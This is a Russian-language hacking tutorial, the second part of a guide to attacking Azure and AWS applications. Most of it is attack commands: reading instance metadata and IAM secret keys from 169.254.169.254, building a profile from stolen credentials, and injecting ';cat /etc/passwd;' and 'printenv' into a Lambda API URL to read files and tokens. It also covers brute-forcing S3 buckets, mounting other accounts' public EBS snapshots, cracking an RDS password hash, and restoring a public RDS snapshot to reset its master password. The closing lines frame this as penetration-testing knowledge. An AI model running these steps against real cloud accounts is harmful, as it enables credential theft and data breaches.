Атака на облака. Гайд по методам взлома приложений в Azure и AWS. Часть 2

#Обучение

Так как у нас уже имеется доступ к одной из виртуальных машин в Azure, можно попробовать извлечь метаданные. Для этого используем следующую команду:

curl -UseBasicParsing -Headers @{"Metadata"="true"} 'http://169.254.169.254/metadata/instance?api-version=2017-08-01&format=text'

Проверим публичный IP-адрес узла:

curl -UseBasicParsing -Headers @{"Metadata"="true"} 'http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-08-01&format=text'

Если у машины есть доступ в интернет, это сильно облегчит задачу злоумышленника. Также можно попробовать собрать данные с помощью OSINT и использовать их для получения доступа извне.

AWS

Кража метаданных из AWS

Так как нам удалось заполучить доступ к Amazon Elastic Compute Cloud (EC2), можно атаковать любой из аспектов EC2 — не только веб-приложения или службы, но и доступ к самому облачному сервису.

INFO

Во время настройки EC2 юзер получает возможность создать пару ключей для SSH. При создании EC2 в инфраструктуре Windows предоставляется файл для RDP и учетная запись. Одна из базовых настроек безопасности — раздел «Группы безопасности», где пользователь может разрешить доступ к определенным портам и определенным IP-адресам, что очень похоже на обычный файрвол.

EC2 metadata — это данные об инстанции EC2. Эти данные хранятся в незашифрованном виде и могут быть извлечены с EC2, если имеется локальный доступ к машине. Приведу пример, как с помощью уязвимости в серверной части можно заполучить интересную информацию об учетных записях. Можно воспользоваться curl, чтобы проверить метаданные на инстанции EC2.

curl -v http://169.254.169.254/

Вывод этой команды выглядит так, как показано на скриншоте ниже.

IP-адрес 169.254.169.254 — это локальный адрес по умолчанию, который может быть доступен только с самой инстанции. Каждый продукт AWS имеет свой уникальный ID. Получить его можно с помощью следующей команды:

curl http://169.254.169.254/latest/meta-data/ami-id

Чтобы проверить публичный адрес EC2, используй команду

curl http://169.254.169.254/latest/meta-data/public-hostname

Команда Ec2-metadata дает возможность просмотреть общие метаданные EC2.

Чтобы узнать публичный IP-адрес, используй команду Ec2-metadata -v. Имея публичный адрес, можно выполнить атаку извне. Для начала стоит проверить, доступен ли IP, с использованием Nmap.

Оказывается, на хосте работает SSH, к тому же уязвимая версия. Это подсказывает нам еще несколько возможных векторов атак.

Кража учетной записи IAM и настройка удаленного доступа

Чтобы узнать данные IAM, используй команду вида

curl http://169.254.169.254/latest/meta-data/iam/info

Получить расширенные данные, включающие accessID, SecretAccessKey, Token, позволяет команда

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2acess

Для успешной атаки с помощью учетной записи IAM нужно иметь следующие данные:

aws_access_key_id;
aws_secret_access_key;
aws_session_token.

Чтобы настроить скомпрометированный IAM-аккаунт для удаленного доступа, для начала нужно создать новый профиль с использованием краденых данных:

aws configure --profile hackme

Профиль создан, но еще нужно добавить токен для полноценной работы удаленного доступа. Его можно прописать вручную, изменив файл ~/.aws/credentials.

На одной машине можно создать неограниченное количество профилей, главное — не меняй профиль по умолчанию.

AWS — выполнение действий на машине с помощью nimbostratus

Nimbostratus был создан как утилита тестирования в AWS. Но эта тулза может использоваться для кражи учетных данных на скомпрометированных EC2, кражи метаданных, для создания IAM-пользователя, работы с образами RDS и многих других задач. Например, можно получить метаданные с использованием nimbostratus следующим способом:

python nimbostratus dump-ec2-metadata

Эксплуатация сервисов

Эксплуатация уязвимости в AWS Lambda

AWS Lambda — это платформенная услуга Amazon Web Services, предоставляется она по принципу «функция как услуга». На что стоит обратить внимание при тестировании AWS Lambda?

Доступ к Lambda предоставляется через сетевой шлюз (gateway) или же через AWS-триггеры.
Чаще уязвимости обнаруживаются при тестировании на инъекции, фаззинге и мисконфигурациях серверной части.

Например, при вводе точки с запятой в строку для URL и какой-либо команды видно, что эта команда исполняется из-за наличия уязвимости на стороне сервера.

Например, запустить команду id на удаленной машине можно следующим образом.

curl https://8o9kujtxv3.execute-api.us-east-1.amazonaws.com/api/hack;id;w

А с помощью следующей команды можно заглянуть в /etc/passwd.

curl https://API-endpoint/api/hello;cat%20%2fetc%2fpasswd;w

Чтобы скопировать эту информацию в текстовый файл, используем следующую директиву.

curl https://8o9kujtxv3.execute-api.us-east-1.amazonaws.com/api/hack;cat%20%2fetc%2fpasswd;w > pass.txt

Еще одна важная особенность Lambda — это временный токен, который предоставляется в виде переменной среды. Его можно проверить командой printenv:

curl https://8o9kujtxv3.execute-api.us-east-1.amazonaws.com/api/hack;printenv;w

Когда учетные данные AWS украдены и добавлены в интерфейс командной строки AWS, можно попытаться загрузить lambda-код. Это необходимо, если ты хочешь узнать, какие lambda-функции выполняются в целевой среде, а также попытаться найти конфиденциальную информацию.

Перечислить lambda-функции, которые доступны для текущего профиля, можно с помощью команды aws lambda list-functions. Ее вывод показан на следующем скриншоте.

Чтобы получить ссылку на загрузку lambda-функции, используй эту команду:

aws lambda get-function --function-name <FUNCTION-NAME>

Как только код будет загружен на твою машину, можно проверить, содержит ли он уязвимости и конфиденциальную информацию.

Эксплуатация облачных хранилищ в AWS

Облачные хранилища наиболее интересны для злоумышленника. AWS S3 и EBS (Elastic Block Store) довольно часто содержат уязвимости и неправильные конфигурации, которые могут быть обнаружены при сборе информации о цели.

AWSBucketDump — это инструмент для быстрого сбора данных о AWS S3. Он очень похож на SubBrute, так как работает по аналогичной схеме и брутфорсит AWS S3. Кроме того, в AWSBucketDump есть фичи, которые помогают автоматизировать поиск и загрузку интересной информации. Для запуска AWSBucketDump используется следующая команда:

python AWSBucketDump.py -D -l BucketNames.txt -g s.txt

Скрипт создаст файл interesting_file.txt, в котором сохранятся результаты его работы.

А как узнать, существует ли вообще интересующее нас хранилище S3? Можно выбрать любой AWS URL и проверить HTTP response. Существующая корзина вернет нам ListBucketResult или AccessDenied.

Если HTTP Response на $ bucket.s3.amazonaws.com показывает NoSuchBucket, это означает, что корзина не существует.

С помощью утилиты AWS можно запрашивать данные о S3 ACL: для этого используется команда aws s3api get-bucket-acl --bucket bucket-name.

Для объектов, которые имеют открытый доступ на чтение и запись, в ACL будет указано FULL_CONTROL. Ты можешь создавать файлы в такой корзине удаленно, используя любую учетную запись AWS. Можно залить файл при помощи утилиты aws с использованием любого профиля, а потом проверить наличие этого файла:

aws s3 cp readme.txt s3://bucket-name-here --profile newuserprofile
aws s3 ls s3://bucket-name-here --profile newuserprofile

Вот как эта операция выглядит в консоли.

Amazon Elastic Block Store (Amazon EBS) предоставляет постоянные тома блочных хранилищ для использования с Amazon EC2 в облаке AWS. Каждый том Amazon EBS автоматически реплицируется в своей зоне доступности. Чтобы обнаружить общедоступные снимки EBS с определенными паттернами, можно использовать grep:

aws ec2 describe-snapshots --region us-east-1 --restorable-by-user-ids all | grep -C 10 "company secrets"

Получить зону доступности и ID EC2 позволяет следующая команда:

aws ec2 describe-instances --filters Name=tag:Name,Values=attacker-machine

Теперь можно создать новый том с использованием обнаруженного снапшота:

aws ec2 create-volume --snapshot-id snap-03616657ede4b9862 --availability-zone us-east-1b

После создания тома обрати внимание на VolumeID. Можно подключить созданный нами новый том к компьютеру EC2 с использованием ID-инстанции EC2 и ID нового тома. Для этого используется следующая команда:

aws ec2 attach-volume --device /dev/sdh --instance-id i-05a977acccaa51bd6 --volume-id vol-018bd5c117c410f23

Для проверки состояния служит команда aws ec2 describe-volumes --filters Name=volume-id,Values=vol-018bd5c117c410f23 — если все в порядке, сервер ответит in use.

Когда том подключен, можно определить раздел с помощью lsblk и смонтировать его для дальнейшего анализа.

Реляционные базы данных AWS

Облачные базы данных в случае с AWS — это служба реляционных баз данных, которая позволяет пользователям создавать базы в облаке и подключаться к ним из любого места. Нередко в конфигурации БД допускают ошибки, которые могут использовать атакующие.

Чаще всего неправильные конфигурации включают в себя слабую политику безопасности и слабые пароли, что делает RDS общедоступным.

Ниже приведен пример эксплуатации слабого пароля и ролей доступа: при эксплуатации веб-приложения удалось найти SQL-инъекцию и заполучить хеши пользователя.

Определить тип хеша можно с помощью утилиты hash-identifier. Например, мы можем запустить hashcat, чтобы подобрать пароль для пользователя rdsroot, следующей командой:

hashcat -m 300 -a 0 D1DBA23DC29396BCDAE208D3AF7AF9F065CF3CC4 wordlist.txt

Подключиться к базе данных можно, используя обычный клиент MySQL.

Как только доступ к RDS получен, можно попытаться дампнуть базу данных. Есть много способов этого достичь c помощью SQL-инъекции или через AWS-консоль, которая позволяет монтировать RDS-образ. Для получения доступа к данным можно сбросить пароль этих образов.

Снимки RDS могут быть доступны извне. Если доступен ID образа, этот образ может быть смонтирован на машину, с которой производится атака. Найти нужный ID поможет утилита AWS, команда вот такая:

aws rds describe-db-snapshots --include-public --snapshot-type public --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup

Чтобы восстановить образ как новую инстанцию, используем следующую команду:

aws rds restore-db-instance-from-db-snapshot --db-instance-identifier recoverdb --publicly-accessible --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup --availability-zone us-east-1b

Как только образ восстановлен, можно проверить, все ли работает, а потом попробовать подключиться:

aws rds describe-db-instances --db-instance-identifier recoverdb

Параметр DBInstanceStatus показывает статус инстанции. Как только бэкап завершится, значение DBInstanceStatus станет available.

Теперь можно сбросить пароль для MasterUsername и залогиниться:

aws rds modify-db-instance --db-instance-identifier recoverdb --master-user-password NewPassword1 --apply-immediately

Проверить, работает ли MySQL RDP и разрешает ли подключения, можно с помощью команды nc rds-endpoint 3306 --zvv. Чтобы подключиться к базе данных и извлечь данные из нее, чаще всего используют обычный клиент MySQL.

Облачное хранилище Azure

Azure Storage предоставляет облачное хранилище, которое включает в себя объекты Azure drops, хранилища data lake, файлы, очереди и таблицы. Неправильные конфигурации могут привести к утечке конфиденциальных данных и потенциальному риску других сервисов.

Azure drops являются эквивалентом AWS S3 и позволяют хранить объекты. Доступ к этим объектам может быть получен через HTTP с использованием созданного URL.

На приведенной ниже картинке можно увидеть пример неправильных конфигураций прав доступа к файлам в хранилище Azure.

Неправильные привилегии позволяют увидеть, какие файлы хранятся в Azure drops, а также дают возможность удалять файлы. В результате могут быть потеряны конфиденциальные данные и нарушена работоспособность других сервисов.

Адрес Azure drops представляет собой FQDN, который является полным доменным именем и содержит запись типа A. Она, в свою очередь, указывает на принадлежность к IP-адресу Microsoft. Поэтому для поиска объектов Azure drops можно использовать любой инструмент перечисления поддоменов, который проверяет либо наличие записи A для доменного имени, либо коды состояния HTTP.

Можно использовать такие утилиты, как dnsscan. Для достижения лучшего результата желательно использовать собственные словари. С базовым словарем поиск поддоменов выполняется такой командой:

python dnsscan.py -d blob.core.windows.net -w subdomains-100.txt

Результат ее работы показан на следующей иллюстрации.

Нетрудно отыскать и доступные из сети облачные базы данных Azure. Имя конечной точки сервера базы данных SQL Azure имеет вид ??.database.windows.net. Поиск в интернете для этой конкретной строки может дать интересные результаты. По сути, имена конечных точек базы данных и потенциальные учетные записи можно найти с помощью Google или поиска поддоменов.

Заключение

Если ты перенес инфраструктуру в облако, это не значит, что можно полностью забыть обо всех проблемах, связанных с безопасностью. Они никуда не исчезли. В этой статье мы рассмотрели основные приемы, которые хакеры могут использовать при атаках на приложения, расположенные в Azure. Эти знания помогут тебе избежать основных рисков, но никто не угадает, когда появятся новые. Так что расслабляться не стоит!

В гибридной облачной среде, где некоторые данные хранятся локально, а некоторые в облаках, к вопросам ИБ следует подходить комплексно. И тестирование на проникновение — наилучший способ оценить, насколько хорошо решены вопросы защиты данных. Оно позволяет выявить слабые элементы, способные поставить под угрозу защиту всей инфраструктуры организации. Защита от утечки данных и соблюдение правил безопасности требуют постоянной бдительности.

Источник